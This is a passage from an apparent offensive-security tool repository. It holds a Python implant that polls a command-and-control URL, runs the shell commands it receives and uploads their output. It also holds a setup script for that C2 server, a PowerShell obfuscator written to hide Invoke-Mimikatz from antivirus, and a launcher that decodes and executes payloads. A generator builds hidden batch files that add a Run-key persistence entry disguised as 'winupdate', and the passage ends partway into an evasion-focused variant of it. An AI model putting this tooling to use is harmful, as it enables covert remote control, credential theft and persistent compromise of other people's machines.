"=============================================================" 108 | #print url 109 | #print "=============================================================" 110 | #print resp 111 | 112 | # return content 113 | 114 | return string 115 | 116 | def exec_shell_cmd(cmmd): 117 | 118 | line = subprocess.Popen(cmmd,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) 119 | out_bytes = line.stdout.read() + line.stderr.read() 120 | output_str = str(out_bytes) 121 | return output_str 122 | 123 | 124 | def core(): 125 | 126 | hostname = platform.node() 127 | OpSys = platform.system() 128 | UUID = uuid.getnode() 129 | sys_id = hostname + '::' + OpSys + '::' + str(UUID) 130 | 131 | b64host = b64encstr(sys_id) 132 | cb64host = custom_b64_urlsafe_enc(b64host) 133 | 134 | b64key = b64encstr(key) 135 | cb64key = custom_b64_urlsafe_enc(b64key) 136 | 137 | enroll = uri + '?auth=' + cb64key + '®=' + cb64host 138 | bucket = web_request(enroll) 139 | 140 | while True: 141 | 142 | try: 143 | getcmd = uri + '?auth=' + cb64key + '&get=' + cb64host 144 | b64enccmd = web_request(getcmd) 145 | line = b64decstr(b64enccmd) 146 | 147 | if 'echo' in line: 148 | 149 | raw = exec_shell_cmd(line) 150 | tstamp = get_time_stamp() 151 | raw_str = '[!] ' + tstamp + '\n' + str(raw) 152 | b64stdout = b64encstr(raw_str) 153 | b64chomped = b64stdout[:65000] 154 | cb64encstdout = custom_b64_urlsafe_enc(b64chomped) 155 | 156 | upload = uri + '?auth=' + cb64key + '&rsp=' + cb64encstdout + '&host=' + cb64host 157 | bucket = web_request(upload) 158 | time.sleep(random.randint(0,10)) 159 | 160 | else: 161 | 162 | raw = get_sysinfo() 163 | raw_str = str(raw) 164 | b64stdout = b64encstr(raw_str) 165 | b64chomped = b64stdout[:65000] 166 | cb64encstdout = custom_b64_urlsafe_enc(b64chomped) 167 | 168 | update = uri + '?auth=' + cb64key + '&data=' + cb64encstdout + '&host=' + cb64host 169 | bucket = web_request(update) 170 | time.sleep(random.randint(15,45)) 171 | 172 | except: 173 | 174 | #line = 'caught exception during command exec going to sleep' 175 | #print line 176 | time.sleep(random.randint(65,130)) 177 | 178 | 179 | while True: 180 | try: 181 | core() 182 | except: 183 | # print "caught exception executing core function, going to sleep..." 184 | time.sleep(random.randint(280,500)) 185 | -------------------------------------------------------------------------------- /iac2/lighttpd.conf: -------------------------------------------------------------------------------- 1 | # Contains basic diges authentication 2 | 3 | server.modules = ( 4 | "mod_access", 5 | "mod_alias", 6 | "mod_compress", 7 | "mod_redirect", 8 | "mod_cgi", 9 | "mod_rewrite", 10 | "mod_auth", 11 | ) 12 | 13 | server.document-root = "/var/www/" 14 | server.upload-dirs = ( "/var/cache/lighttpd/uploads" ) 15 | server.errorlog = "/var/log/lighttpd/error.log" 16 | server.breakagelog = "/var/log/lighttpd/breakage.log" 17 | server.pid-file = "/var/run/lighttpd.pid" 18 | server.username = "www-data" 19 | server.groupname = "www-data" 20 | 21 | # Enable network white list to insure only desired networks connect 22 | # This server, example white listed network is 10.0.0.0/8 23 | # $SERVER["socket"] == ":443" { 24 | # $HTTP["remoteip"] != "10.0.0.0/8" { url.access-deny = ( "" ) } 25 | # } 26 | 27 | server.port = 443 28 | ssl.engine = "enable" 29 | ssl.pemfile = "/etc/lighttpd/ssl/server.pem" 30 | ssl.honor-cipher-order = "enable" 31 | ssl.cipher-list = "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH" 32 | ssl.use-compression = "disable" 33 | ssl.use-sslv2 = "disable" 34 | ssl.use-sslv3 = "disable" 35 | 36 | index-file.names = ( "index.php", "index.html", 37 | "index.htm", "default.htm", 38 | "index.pl") 39 | 40 | url.access-deny = ( "~", ".inc" ) 41 | 42 | 43 | cgi.assign = ( ".pl" => "/usr/bin/perl", 44 | ".cgi" => "/usr/bin/perl", 45 | ".x" => "/usr/bin/perl", 46 | ".py" => "/usr/bin/python" ) 47 | 48 | mimetype.assign = ( 49 | ".pdf" => "application/pdf", 50 | ".mp3" => "audio/mpeg", 51 | ".ogg" => "application/ogg", 52 | ".gif" => "image/gif", 53 | ".jpg" => "image/jpeg", 54 | ".jpeg" => "image/jpeg", 55 | ".png" => "image/png", 56 | ".html" => "text/html", 57 | ".htm" => "text/html", 58 | ".text" => "text/plain", 59 | ".txt" => "text/plain", 60 | ".dtd" => "text/xml", 61 | ".xml" => "text/xml", 62 | ".mpeg" => "video/mpeg", 63 | ".mpg" => "video/mpeg" ) 64 | 65 | 66 | static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) 67 | 68 | dir-listing.encoding = "utf-8" 69 | server.dir-listing = "disable" 70 | -------------------------------------------------------------------------------- /iac2/setup-iac2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # setup iaa monitor server 4 | # 5 | 6 | title() { 7 | 8 | echo "[*]==================================================[*]" 9 | echo "[*] Installing... IA Agent C2 Server [*]" 10 | echo "[*]==================================================[*]" 11 | 12 | } 13 | 14 | # func requires args: username 15 | chk_usr() { 16 | 17 | if [ "$(whoami)" != "$1" ]; then 18 | echo "[!] you need to be root, exiting..." 19 | exit 20 | fi 21 | 22 | } 23 | 24 | chk_tubes() { 25 | 26 | echo "[*] Checking your tubes..." 27 | if ! ping -c 1 google.com > /dev/null 2>&1 ; then 28 | if ! ping -c 1 yahoo.com > /dev/null 2>&1 ; then 29 | if ! ping -c 1 bing.com > /dev/null 2>&1 ; then 30 | echo "[!] Do you have an internet connection?, exiting..." 31 | exit 1 32 | fi 33 | fi 34 | fi 35 | echo "[+] tubes working..." 36 | 37 | } 38 | 39 | # func requires argument 40 | get_aptpkg() { 41 | 42 | tpkg=$(dpkg -s $1 | grep "install ok install") 43 | if [ -z "$tpkg" ]; then 44 | 45 | if [ -z $aptup ]; then 46 | # rm -rf /var/lib/apt/lists/* 47 | apt-get update 48 | aptup=1 49 | fi 50 | 51 | echo "[*] installing $1" 52 | if ! apt-get -y install $1; then 53 | echo "[!] APT failed to install "$1", are your repos working? Exiting..." 54 | exit 1 55 | fi 56 | 57 | else 58 | echo "[+] $1 is already installed" 59 | fi 60 | } 61 | 62 | get_permission() { 63 | while true; do 64 | printf "\n" 65 | read ansr 66 | case $ansr in 67 | [Yy] ) break;; 68 | [Nn] ) echo "[!] exiting..."; exit;; 69 | * ) echo "[!] Not a valid entry, please answer y or n";; 70 | esac 71 | done 72 | echo "Continuing..." 73 | 74 | } 75 | 76 | # Uses a foldername, directory as a parameter 77 | folder_perm() { 78 | chown www-data:www-data $1 79 | chmod 755 $1 80 | } 81 | 82 | 83 | # uses a filename as a parameter 84 | file_perm() { 85 | chown www-data:www-data $1 86 | chmod 644 $1 87 | } 88 | 89 | rstr_short() { 90 | echo $(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 8 ) 91 | } 92 | 93 | rstr_long() { 94 | echo $(cat /dev/urandom | tr -dc _A-Z-a-z-0-9 | head -c 30 | base64) 95 | } 96 | 97 | clear 98 | title 99 | chk_usr root 100 | chk_tubes 101 | 102 | if [ ! -e ./lighttpd.conf ]; then 103 | echo "[!] could not find the lighttpd.conf file, cannot continue..." 104 | echo "[ ] exiting..." 105 | exit 1 106 | elif [ ! -e ./iaa-monitor.pl ];then 107 | echo "[!] could not find the uptime-agent-monitor.pl file, cannot continue..." 108 | echo "[ ] exiting..." 109 | exit 1 110 | elif [ ! -e ./inital-access-agent.ps1 ]; then 111 | echo "[!] could not find the client file, cannot continue..." 112 | echo "[ ] exiting..." 113 | exit 1 114 | fi 115 | 116 | if [ -e /etc/lighttpd/lighttpd.conf ]; then 117 | echo "[!]=====[!]=======[!]========[!]========[!]=========[!]===========[!]==========[!]" 118 | echo "[ ] lighttpd has been detected on your system" 119 | echo "[ ] the configuration files and ssl folder for lighttpd will be overwritten." 120 | echo "[ ] for the shell-handler. If you do NOT wish to continue take a look at the SSL" 121 | echo "[ ] setting in the included lighttpd.conf for the ssl settings." 122 | echo "[ ] continue? (y/n)" 123 | get_permission 124 | if [ -d /etc/lighttpd/ssl ]; then 125 | rm -rf /etc/lighttpd/ssl 126 | fi 127 | fi 128 | 129 | if [ -d /var/iac2 ]; then 130 | echo "[!] iac2 folder detected, folder contains info about systems runing the client" 131 | echo "[ ] by proceeding this folder will be deleted" 132 | echo "[ ] continue? (y/n)" 133 | get_permission 134 | rm -rf /var/iac2 135 | fi 136 | 137 | get_aptpkg lighttpd 138 | get_aptpkg openssl 139 | get_aptpkg perl 140 | get_aptpkg libcgi-application-perl 141 | 142 | ## [ Fail2ban ] ########## 143 | 144 | #get_aptpkg fail2ban 145 | #cat ./fail2ban.conf > /etc/fail2ban/jail.conf 146 | #service fail2ban restart 147 | 148 | 149 | ## [ WEB SERVER ] ######### 150 | 151 | cat ./lighttpd.conf > /etc/lighttpd/lighttpd.conf 152 | mkdir /etc/lighttpd/ssl 153 | folder_perm /etc/lighttpd/ssl 154 | openssl req -new -x509 -keyout /etc/lighttpd/ssl/server.pem -out /etc/lighttpd/ssl/server.pem -days 365 -nodes 155 | ps_keyprint=$(openssl x509 -in /etc/lighttpd/ssl/server.pem -fingerprint -noout | cut -d'=' -f2 | tr -d : ) 156 | sh_keyprint=$(openssl x509 -in /etc/lighttpd/ssl/server.pem -fingerprint -noout | cut -d'=' -f2 ) 157 | 158 | ## [ MOVING FILES ] ####### 159 | 160 | # cleaning up default files generated upon installation 161 | rm -rf /var/www/* 162 | 163 | echo "[*] Placing perl cgi app in web root folder [ /var/www ]" 164 | cp iaa-monitor.pl /var/www/index.pl 165 | 166 | echo "[*] Setting web root folder permissions..." 167 | file_perm /var/www/index.pl 168 | 169 | echo "[*] Generating random password for shell-handler." 170 | mkdir -p /var/iac2/systems 171 | 172 | pass=$(rstr_long) 173 | echo $pass > /var/iac2/init-pass 174 | file_perm /var/iac2/init-pass 175 | 176 | folder_perm /var/iac2 177 | folder_perm /var/iac2/systems 178 | 179 | service lighttpd restart 180 | 181 | echo "[]=========================================================================================[]" 182 | echo "[]" 183 | echo "[] Paste this URL in the inital-access-agent.ps1 script " 184 | echo "[]" 185 | echo "[] \$uri = https://your-ip-or-domain/" 186 | echo "[]" 187 | echo "[] Client password needed to be granted access to connect to web app" 188 | echo "[] Paste this in the agent powershell or perl script as the \$key variable" 189 | echo "[]" 190 | echo "[] \$key = $pass " 191 | echo "[]" 192 | echo "[] The following is the thumb/finger print of your self-signed certificate" 193 | echo "[] paste in the \$certfingerprint variable " 194 | echo "[]" 195 | echo "[] Powershell: " 196 | echo "[] \$certfingerprint = $ps_keyprint " 197 | echo "[]" 198 | echo "[] Bash Shell Linux:" 199 | echo "[] \$certfingerprint = $sh_keyprint " 200 | echo "[]" 201 | echo "[]=========================================================================================[]" 202 | 203 | exit 0 204 | -------------------------------------------------------------------------------- /mkatz-obfuscator/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /mkatz-obfuscator/README.md: -------------------------------------------------------------------------------- 1 | #Mimikatz Obfuscator 2 | 3 | Created this when finding that Invoke-Mimikatz.ps1 was being flaged by AV. 4 | This should also work on most self-contained .ps1 scripts. 5 | 6 | To use: 7 | `` 8 | powershell .\PS1-obfuscator.ps1 9 | `` 10 | 11 | Follow the interactive menu. 12 | 13 | written in powershell. 14 | -------------------------------------------------------------------------------- /mkatz-obfuscator/launcher.ps1: -------------------------------------------------------------------------------- 1 | 2 | # Launcher for obfuscated strings 3 | 4 | 5 | function base64string-decode($encstring) { 6 | 7 | $decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring)) 8 | 9 | return $decstring 10 | } 11 | 12 | function obfuscate-base64( $action, $key, $string ) { 13 | 14 | 15 | $alpha = @{ "1" = "A"; 16 | "2" = "B"; 17 | "3" = "C"; 18 | "4" = "D"; 19 | "5" = "E"; 20 | "6" = "F"; 21 | "7" = "G"; 22 | "8" = "H"; 23 | "9" = "I"; 24 | "10" = "J"; 25 | "11" = "K"; 26 | "12" = "L"; 27 | "13" = "M"; 28 | "14" = "N"; 29 | "15" = "O"; 30 | "16" = "P"; 31 | "17" = "Q"; 32 | "18" = "R"; 33 | "19" = "S"; 34 | "20" = "T"; 35 | "21" = "U"; 36 | "22" = "V"; 37 | "23" = "W"; 38 | "24" = "X"; 39 | "25" = "Y"; 40 | "26" = "Z"; 41 | } 42 | 43 | $inv_alpha = @{} 44 | 45 | # create another hash table like alpha but with inverted values 46 | foreach ($l in $alpha.Keys ) { $inv_alpha.add($alpha[$l],$l)} 47 | 48 | $count = 0 49 | foreach ($ch in $string.GetEnumerator()) 50 | { 51 | 52 | $c = [string]$ch 53 | if ( $c -match '[a-zA-Z]') 54 | { 55 | 56 | $ival = $inv_alpha[$c] 57 | $s = $key[$count] 58 | 59 | if (!$s) { $count = 0; $s = $key[0] } # reset key to begining 60 | 61 | # juggling variable formats between integer and string methods 62 | $ss = [string]$s 63 | $S = $ss.ToUpper() 64 | $shift = $inv_alpha[$S] 65 | 66 | if ($action -match 'hide' ) 67 | { $val = [int]$ival + [int]$shift } 68 | else { $val = [int]$ival - [int]$shift } 69 | 70 | if ( [int]$val -lt '1' ) { $val = [int]$val + '26' } 71 | if ( [int]$val -gt '26' ) { $val = [int]$val - '26' } 72 | 73 | # juggling variable formats between integer and string methods 74 | $sval = [string]$val 75 | $char = $alpha[$sval] 76 | $schar = [string]$char 77 | 78 | if ( $c -cmatch '[a-z]' ) 79 | { $cipher = $schar.ToUpper(); $ncipher += [string]::join("", ($cipher)) } 80 | elseif ( $c -cmatch '[A-Z]' ) 81 | { $cipher = $schar.ToLower(); $ncipher += [string]::join("", ($cipher)) } 82 | 83 | $count++ 84 | 85 | } else { $ncipher += [string]::join("", ($c)) } 86 | 87 | } 88 | 89 | $scipher = [string]$ncipher 90 | return $scipher 91 | } 92 | 93 | 94 | function execute( $file, $key ) { 95 | 96 | if (!($key)){ write-output "`n[!] requires de-ofuscation key!`n"; exit } 97 | 98 | $test = test-path $file 99 | if ($test) { 100 | 101 | $obb64 = get-content .\$file | out-string 102 | $b64str = obfuscate-base64 clear $key $obb64 103 | $str = base64string-decode $b64str 104 | 105 | IEX $str 106 | 107 | } else { write-output "`n[!] file not found, check path!`n" } 108 | 109 | 110 | } 111 | 112 | -------------------------------------------------------------------------------- /mkatz-obfuscator/ps1-obfuscator.ps1: -------------------------------------------------------------------------------- 1 | 2 | <# 3 | ps1-obfuscator 4 | 5 | originally intended to work on Invoke-Mimikatz when it needs to be copied to disk. 6 | Found this technique should work on most ps1 scripts. 7 | 8 | xor-function 9 | 10 | #> 11 | 12 | function gen-enccmd { 13 | 14 | param($clrcmd) 15 | 16 | $bytescmd = [System.Text.Encoding]::Unicode.GetBytes($clrcmd.ToString()) 17 | $enccmd = [Convert]::ToBase64String($bytescmd) 18 | 19 | return $enccmd 20 | } 21 | 22 | # encode a string with base64 to prep for obfuscation do not use this for encoded commands since UTF8 23 | function base64string-encode { 24 | 25 | param($string) 26 | 27 | # Use this to encode strings to base64 format 28 | $encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string)) 29 | 30 | return $encstring 31 | } 32 | 33 | function base64string-decode { 34 | 35 | param($encstring) 36 | 37 | # Don't have to worry about unsafe url characters since it's content not a url string 38 | $decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring)) 39 | 40 | return $decstring 41 | } 42 | 43 | function gen-key { 44 | $rs = New-Object System.Random 45 | 1..40 | % { $key += [Char]$rs.next(97,122) } 46 | $kstring = [string]::join("", ($key)) 47 | return $kstring 48 | } 49 | 50 | # action = hide or clear 51 | # key = encrpytion or decryption string 52 | # string = base64 string to either be encrypted or decrypted 53 | 54 | function obfuscate-base64( $action, $key, $string ) { 55 | 56 | 57 | $alpha = @{ "1" = "A"; 58 | "2" = "B"; 59 | "3" = "C"; 60 | "4" = "D"; 61 | "5" = "E"; 62 | "6" = "F"; 63 | "7" = "G"; 64 | "8" = "H"; 65 | "9" = "I"; 66 | "10" = "J"; 67 | "11" = "K"; 68 | "12" = "L"; 69 | "13" = "M"; 70 | "14" = "N"; 71 | "15" = "O"; 72 | "16" = "P"; 73 | "17" = "Q"; 74 | "18" = "R"; 75 | "19" = "S"; 76 | "20" = "T"; 77 | "21" = "U"; 78 | "22" = "V"; 79 | "23" = "W"; 80 | "24" = "X"; 81 | "25" = "Y"; 82 | "26" = "Z"; 83 | } 84 | 85 | $inv_alpha = @{} 86 | 87 | # create another hash table like alpha but with inverted values 88 | foreach ($l in $alpha.Keys ) { $inv_alpha.add($alpha[$l],$l)} 89 | 90 | $count = 0 91 | foreach ($ch in $string.GetEnumerator()) 92 | { 93 | 94 | $c = [string]$ch 95 | if ( $c -match '[a-zA-Z]') 96 | { 97 | 98 | $ival = $inv_alpha[$c] 99 | $s = $key[$count] 100 | 101 | if (!$s) { $count = 0; $s = $key[0] } # reset key to begining 102 | 103 | # juggling variable formats between integer and string methods 104 | $ss = [string]$s 105 | $S = $ss.ToUpper() 106 | $shift = $inv_alpha[$S] 107 | 108 | if ($action -match 'hide' ) 109 | { $val = [int]$ival + [int]$shift } 110 | else { $val = [int]$ival - [int]$shift } 111 | 112 | if ( [int]$val -lt '1' ) { $val = [int]$val + '26' } 113 | if ( [int]$val -gt '26' ) { $val = [int]$val - '26' } 114 | 115 | # juggling variable formats between integer and string methods 116 | $sval = [string]$val 117 | $char = $alpha[$sval] 118 | $schar = [string]$char 119 | 120 | if ( $c -cmatch '[a-z]' ) 121 | { $cipher = $schar.ToUpper(); $ncipher += [string]::join("", ($cipher)) } 122 | elseif ( $c -cmatch '[A-Z]' ) 123 | { $cipher = $schar.ToLower(); $ncipher += [string]::join("", ($cipher)) } 124 | 125 | $count++ 126 | 127 | } else { $ncipher += [string]::join("", ($c)) } 128 | 129 | } 130 | 131 | $scipher = [string]$ncipher 132 | return $scipher 133 | } 134 | 135 | function b64Enc { 136 | 137 | param ( 138 | 139 | #[Parameter(Mandatory=$True)] 140 | [ValidateNotNullOrEmpty()] 141 | [string]$file = $( read-host "Path to script " ) 142 | ) 143 | 144 | $test = test-path $file 145 | if ($test) 146 | { 147 | 148 | $string = get-content .\$file | out-string 149 | $base64str = base64string-encode $string 150 | 151 | $base64str > .\b64-enc-str.txt 152 | 153 | write-output "`n[+] Base64 encoded strings saved to b64-enc-str.txt" 154 | 155 | $msg = "`[+] To execute use the following command:`n" 156 | $msg += 'powershell -c "&{IEX([System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String((gc .\b64-enc-str.txt|out-string))))}"' 157 | $msg += "`n" 158 | 159 | write-output $msg 160 | 161 | 162 | 163 | } else { write-output "`n[!] file not found, check path!`n" } 164 | 165 | } 166 | 167 | function obfu { 168 | 169 | param ( 170 | 171 | #[Parameter(Mandatory=$True)] 172 | [ValidateNotNullOrEmpty()] 173 | [string]$file = $( read-host "Path to script " ) 174 | ) 175 | 176 | $test = test-path $file 177 | if ($test) 178 | { 179 | 180 | $string = get-content .\$file | out-string 181 | $base64str = base64string-encode $string 182 | 183 | $k = gen-key 184 | 185 | $ob = obfuscate-base64 hide $k $base64str 186 | 187 | $ob > .\obfuscated-base64.txt 188 | 189 | $msg = "[+] key : $k " + "`n" 190 | $msg += "[+] obfuscated string saved to obfuscated-base64.txt" + "`n" 191 | $msg += "[+] to run:" + "`n" 192 | $msg += 'powershell -c "&{IEX $(gc .\launcher.ps1|out-string);execute .\obfuscated-base64.txt ' + $k + ' }"' + "`n" 193 | 194 | write-output $msg 195 | 196 | } else { write-output "`n[!] file not found, check path!`n" } 197 | 198 | } 199 | 200 | function deobfu { 201 | 202 | param ( 203 | 204 | #[Parameter(Mandatory=$True)] 205 | [ValidateNotNullOrEmpty()] 206 | [string]$file = $( read-host "Path to obfuscated data " ), 207 | 208 | #[Parameter(Mandatory=$True)] 209 | [ValidateNotNullOrEmpty()] 210 | [string]$key = $( read-host "Enter de-obfuscation key " ) 211 | 212 | ) 213 | 214 | $test = test-path $file 215 | if ($test) 216 | { 217 | 218 | $obfuscatedStr = get-content .\$file | out-string 219 | $b64str = obfuscate-base64 clear $key $obfuscatedStr 220 | $string = base64string-decode $b64str 221 | 222 | $string > .\original-strings.txt 223 | 224 | write-output "[+] Original de-obfuscated text saved to original-strings.txt" 225 | 226 | } else { write-output "`n[!] file not found, check path!`n" } 227 | 228 | } 229 | 230 | 231 | function main { 232 | 233 | param ( 234 | #[Parameter(Mandatory=$True)] 235 | [ValidateNotNullOrEmpty()] 236 | [string]$num = $( read-host "Enter option #" ) 237 | ) 238 | 239 | if ($num -eq '1') 240 | { 241 | write-output "`n[>] Enter path to .ps1 script to base64 encode only`n" 242 | 243 | b64Enc; exit 244 | } 245 | 246 | if ($num -eq '2') 247 | { 248 | write-output "`n[>] Enter path to .ps1 script to turn into obfuscated base64`n" 249 | 250 | obfu; exit 251 | } 252 | 253 | if ($num -eq '3') 254 | { 255 | write-output "`n[>] enter path to obfuscated text file.`n" 256 | 257 | deobfu; exit 258 | } 259 | 260 | write-output "[!] Enter number 1 or 2, try again." 261 | 262 | } 263 | 264 | $menu = @" 265 | 266 | 267 | ============================================================== 268 | PowerShell Script Obfuscator 269 | ============================================================== 270 | 271 | [?] Select fuction to use 272 | 1. base64 encode 273 | 2. obfuscate 274 | 3. de-obfuscate 275 | 276 | "@ 277 | 278 | write-output $menu 279 | 280 | while (1) { main } 281 | -------------------------------------------------------------------------------- /ps-batchfile/ps12bat.ps1: -------------------------------------------------------------------------------- 1 | function b64enc { 2 | 3 | param($string) 4 | 5 | # Use this to encode strings to base64 format 6 | $encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string)) 7 | 8 | return $encstring 9 | } 10 | 11 | function b64dec { 12 | 13 | param($encstring) 14 | 15 | # Don't have to worry about unsafe url characters since it's content not a url string 16 | $decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring)) 17 | 18 | return $decstring 19 | } 20 | 21 | function rand-str { 22 | 23 | $rint = get-random -max 10 -min 3 24 | $charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() 25 | 1..$rint | % { $rchr += $charArray | get-random } 26 | $randstr = [string]::join("", ($rchr)) 27 | 28 | return $randstr 29 | } 30 | 31 | function genenc-script { 32 | Param( 33 | [Parameter(Mandatory=$true, Position=0)] 34 | [Alias('LiteralPath')] 35 | [string[]]$script 36 | ) 37 | 38 | $scriptpath = Get-Item -LiteralPath $script 39 | $s = ($scriptpath.FullName) 40 | $sname = ($scriptpath.Name) 41 | 42 | #write-output "[1] $s " 43 | #write-output "[2] $sname" 44 | 45 | $encscript = b64enc $(get-content $s | out-string ) 46 | 47 | $newline = "`r`n" 48 | $cmdstrArray = @() 49 | [int]$lineccnt = '0' 50 | [int]$loop = '0' 51 | 52 | $randb64var = rand-str 53 | $randb64name = rand-str 54 | $randrunvar = rand-str 55 | $randrunname = rand-str 56 | 57 | $cmdfile = $newline + 'set ' + $randb64var + '=' + $randb64name + '.b64' 58 | $cmdfile += $newline + 'set ' + $randrunvar + '=' + $randrunname + '.cmd' + $newline + $newline 59 | 60 | $charArray = $encscript.ToCharArray() 61 | [int]$total = $charArray.count 62 | [int]$loopccnt = '0' 63 | 64 | foreach ($char in $charArray) 65 | { 66 | $loopccnt++ 67 | $lineccnt++ 68 | $loop++ 69 | 70 | if ( [int]$lineccnt -eq '1' ) 71 | { 72 | $cmdfile += 'echo | set /p="' + $char 73 | } else { 74 | $cmdfile += $char 75 | } 76 | 77 | if ($loopccnt -ne $total) { 78 | if ($loop -eq '70' ) { $cmdfile += '">> .\%' + $randb64var + '%' + $newline; [int]$lineccnt = 0 ; [int]$loop = 0 } 79 | } else { 80 | $cmdfile += '">> .\%' + $randb64var + '%' + $newline 81 | } 82 | 83 | 84 | } 85 | 86 | $cmdfile += $newline 87 | $cmdfile += 'copy .\%' + $randb64var + '% "C:\Users\Public\appdata\"' + $newline 88 | $cmdfile += 'echo powershell -w hidden -c "&{ $e = $( get-content ''C:\Users\Public\appdata\%' + $randb64var + '%'' | out-string ); $s = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($e)); iex -command $s }" > .\%' + $randrunvar +'%' 89 | $cmdfile += $newline 90 | $cmdfile += 'copy .\%' + $randrunvar + '% "C:\Users\Public\appdata\"' + $newline 91 | $cmdfile += 'attrib +A +S +H "C:\Users\Public\appdata\%' + $randrunvar + '%"' + $newline 92 | 93 | #:: HKEY LOCAL MACHINE need administrator privs for this key 94 | # $cmdfile += 'reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winupdate /t reg_sz /d "c:\abctest.exe"' + $newline 95 | 96 | #:: HKEY CURRENT USER 97 | $cmdfile += 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winupdate /t reg_sz /d "c:\widows\system32\cmd.exe /q /c c:\users\Public\appdata\%' + $randrunvar + '%"' + $newline 98 | $cmdfile += 'exit' + $newline 99 | 100 | # $encscript | out-file -filepath $encSpath -Force 101 | write-output "[+] Generating encoded script block ready for batch file use ..." 102 | 103 | $randbat = rand-str 104 | $batchfileName = $randbat + '.bat' 105 | $path = (Get-Item -Path ".\").FullName 106 | $filepath = $path + '\' + $batchfileName 107 | set-content $filepath $cmdfile -Encoding ASCII 108 | 109 | write-output "[+] Saved batch file to: $filepath " 110 | } 111 | 112 | write-output "[>] Ps12Bat persistent userland logon exec" 113 | write-output "============================================================================" 114 | $pshPath = '' 115 | $pshPath = read-host -prompt "[+] Enter path to powershell script " 116 | genenc-script $pshPath 117 | write-output "============================================================================" 118 | -------------------------------------------------------------------------------- /ps-batchfile/ps12bat_v2.ps1: -------------------------------------------------------------------------------- 1 | 2 | # This version is modified to deal with some behavior engines which check common method persistents is achieved. 3 | # schtasks/startup folder/registry run keys, etc.. so those routines have been removed from this version 4 | # the main purpose of this version is to get code execution from a batch file undetected the rest is up to you. 5 | # 6 | # xor-function 7 | 8 | function b64enc { 9 | 10 | param($string) 11 | 12 | # Use this to encode strings to base64 format 13 | $encstring = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string)) 14 | 15 | return $encstring 16 | } 17 | 18 | #[->] made function internal for portability 19 | function gen-enccmd { 20 | 21 | param($clrcmd) 22 | $bytescmd = [System.Text.Encoding]::Unicode.GetBytes($clrcmd.ToString()) 23 | $enccmd = [Convert]::ToBase64String($bytescmd) 24 | 25 | return $enccmd 26 | } 27 | 28 | function b64dec { 29 | 30 | param($encstring) 31 | 32 | # Don't have to worry about unsafe url characters since it's content not a url string 33 | $decstring = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($encstring)) 34 | 35 | return $decstring 36 | } 37 | 38 | function rand-str { 39 | 40 | $rint = get-random -max 10 -min 3 41 | $charArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() 42 | 1..$rint | % { $rchr += $charArray | get-random } 43 | $randstr = [string]::join("", ($rchr)) 44 | 45 | return $randstr 46 | } 47 | 48 | # [->] vbs code generator, the obfuscation engine core algo 49 | function obfuscate-cmdstring($cmdstring, $sType, $vbaType) { 50 | 51 | $newline = "`r`n" 52 | 53 | #[->] Obfuscate command string for wscript shell 54 | $cmdstrArray = @() 55 | [int]$ccnt = '1' 56 | $cmdfile = $newline 57 | 58 | foreach ( $char in $cmdstring.GetEnumerator() ) 59 | { 60 | 61 | #[->] translate to ascii value then do math ops on it 62 | $val = [Byte][Char]$char 63 | $rnum = get-random -max 9 -min 1 64 | $nval = [int]$val - [int]$rnum 65 | $hval = [int]$nval / '2' 66 | 67 | if ( [int]$ccnt -eq '1' ) 68 | { 69 | 70 | #[->] genrate random variable name then append it to array 71 | $rvarstr = rand-str 72 | $rvarstr += rand-str 73 | $cmdstrArray += $rvarstr 74 | $cmdfile += $rvarstr + ' =' + ' chr(' + $hval + '+' + $hval + '+' + $rnum + ')' 75 | 76 | } else { 77 | 78 | $cmdfile += ' &chr(' + $hval + '+' + $hval + '+' + $rnum + ')' 79 | 80 | } 81 | 82 | #[->] create random legnth of char use 83 | $randval = get-random -max 12 -min 1 84 | if ( $randval -eq '8' ) { $cmdfile += $newline; [int]$ccnt = 0 } 85 | $ccnt++ 86 | 87 | } 88 | 89 | #[->] concatinate vars to single command string 90 | 91 | [int]$cnt = 1 92 | foreach ( $randvar in $cmdstrArray ) 93 | { 94 | 95 | if ( $cnt -eq '1' ) 96 | { 97 | $mainRvar = rand-str 98 | $cmdfile += $newline 99 | $cmdfile += $mainRvar + ' = ' + $randvar 100 | 101 | } else { $cmdfile += ' + ' + 